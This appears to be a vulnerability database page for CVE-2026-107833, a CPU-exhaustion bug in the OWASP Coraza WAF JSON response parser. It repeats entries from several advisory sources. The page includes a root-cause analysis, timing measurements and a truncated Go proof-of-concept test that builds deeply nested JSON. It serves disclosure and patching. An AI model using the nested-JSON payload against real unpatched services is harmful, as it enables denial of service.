CVE-2026-107833
OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
5.9
OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.
- Record
CVE-2026-107833- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
EUVDEUVD-2026-95926
5.9
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.
- Record
EUVD-2026-95926- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3c6w-j9xm-8h2h
5.9
Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion
Summary
The JSON response body processor parses response bodies with no recursion
limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and
that constant is -1. The guard in readItems only fires on == 0, so
counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively
dead on the response path. The request path is fine: ProcessRequest passes the
configured limit (default 1024). There is no equivalent directive or default for
responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the default
ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to
process, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.go
const ignoreJSONRecursionLimit = -1 // line 51
func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
...
data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}
func (js *jsonBodyProcessor) ProcessRequest(...) error {
...
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}
The guard and the decrement:
func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
if maxRecursion == 0 { // line 106
return errors.New("max recursion reached while reading json object")
}
...
iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126
Note that ProcessResponse discards BodyProcessorOptions (the parameter is
_), so even a caller that wanted to set a limit on responses has no way to.
Why the cost is quadratic
Every nesting level re-parses the remaining nested document through
gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured
on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2
(v3.7.0-55):
depth bytes ProcessResponse time
5000 30004 30 ms
10000 60004 119 ms
20000 120004 456 ms
40000 240004 2.18 s
87381 524290 12.09 s
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB ResponseBodyLimit.
PoC
Save as internal/bodyprocessors/poc_json_test.go, then:
go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"strings"
"testing"
"time"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func nestedJSON(depth int) string {
var sb strings.Builder
sb.Grow(depth*6 + 4)
for i := 0; i < depth; i++ {
sb.WriteString(`{"a":`)
}
sb.WriteString("null")
for i := 0; i < depth; i++ {
sb.WriteByte('}')
}
return sb.String()
}
func TestPoCJSONResponse(t *testing.T) {
proc, _ := bodyprocessors.GetBodyProcessor("json")
// Request path is bounded, response path is not.
body := nestedJSON(5000)
v := corazawaf.NewTransactionVariables()
errReq := proc.ProcessRequest(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
errRes := proc.ProcessResponse(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=5000 ProcessRequest err=%v", errReq)
t.Logf("depth=5000 ProcessResponse err=%v", errRes)
// Quadratic scaling on the response path.
for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
b := nestedJSON(depth)
vv := corazawaf.NewTransactionVariables()
…
- Record
GHSA-3c6w-j9xm-8h2h- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
NVD
5.9
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.
- Record
CVE-2026-107833- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSV
5.9
OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.
- Record
CVE-2026-107833- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVGHSA-3c6w-j9xm-8h2h
5.9
Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion
Summary
The JSON response body processor parses response bodies with no recursion
limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and
that constant is -1. The guard in readItems only fires on == 0, so
counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively
dead on the response path. The request path is fine: ProcessRequest passes the
configured limit (default 1024). There is no equivalent directive or default for
responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the default
ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to
process, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.go
const ignoreJSONRecursionLimit = -1 // line 51
func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
...
data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}
func (js *jsonBodyProcessor) ProcessRequest(...) error {
...
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}
The guard and the decrement:
func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
if maxRecursion == 0 { // line 106
return errors.New("max recursion reached while reading json object")
}
...
iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126
Note that ProcessResponse discards BodyProcessorOptions (the parameter is
_), so even a caller that wanted to set a limit on responses has no way to.
Why the cost is quadratic
Every nesting level re-parses the remaining nested document through
gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured
on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2
(v3.7.0-55):
depth bytes ProcessResponse time
5000 30004 30 ms
10000 60004 119 ms
20000 120004 456 ms
40000 240004 2.18 s
87381 524290 12.09 s
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB ResponseBodyLimit.
PoC
Save as internal/bodyprocessors/poc_json_test.go, then:
go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"strings"
"testing"
"time"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func nestedJSON(depth int) string {
var sb strings.Builder
sb.Grow(depth*6 + 4)
for i := 0; i < depth; i++ {
sb.WriteString(`{"a":`)
}
sb.WriteString("null")
for i := 0; i < depth; i++ {
sb.WriteByte('}')
}
return sb.String()
}
func TestPoCJSONResponse(t *testing.T) {
proc, _ := bodyprocessors.GetBodyProcessor("json")
// Request path is bounded, response path is not.
body := nestedJSON(5000)
v := corazawaf.NewTransactionVariables()
errReq := proc.ProcessRequest(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
errRes := proc.ProcessResponse(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=5000 ProcessRequest err=%v", errReq)
t.Logf("depth=5000 ProcessResponse err=%v", errRes)
// Quadratic scaling on the response path.
for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
b := nestedJSON(depth)
vv := corazawaf.NewTransactionVariables()
…
- Record
GHSA-3c6w-j9xm-8h2h- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-674
- Updated
- 2026-11-02
OSVGO-2026-6690 No score
Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion in github.com/corazawaf/coraza
Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion in github.com/corazawaf/coraza
- Record
GO-2026-6690- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/corazawaf/coraza/v3Go |
3.0.0 up to 3.8.0 | 3.8.0 |
github.com/corazawaf/corazaGo |
All versions | None known |
github.com/corazawaf/coraza/v2Go |
All versions | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107833 is a medium vulnerability (CVSS 5.9) in Corazawaf Coraza, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in github.com/corazawaf/coraza/v3 3.8.0.
References
github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h
github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a
github.com/corazawaf/coraza/releases/tag/v3.8.0
github.com/advisories/GHSA-3c6w-j9xm-8h2h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107833.json
nvd.nist.gov/vuln/detail/CVE-2026-107833
github.com/corazawaf/coraza
Left out here: the rest of 2 source descriptions. The JSON record has them.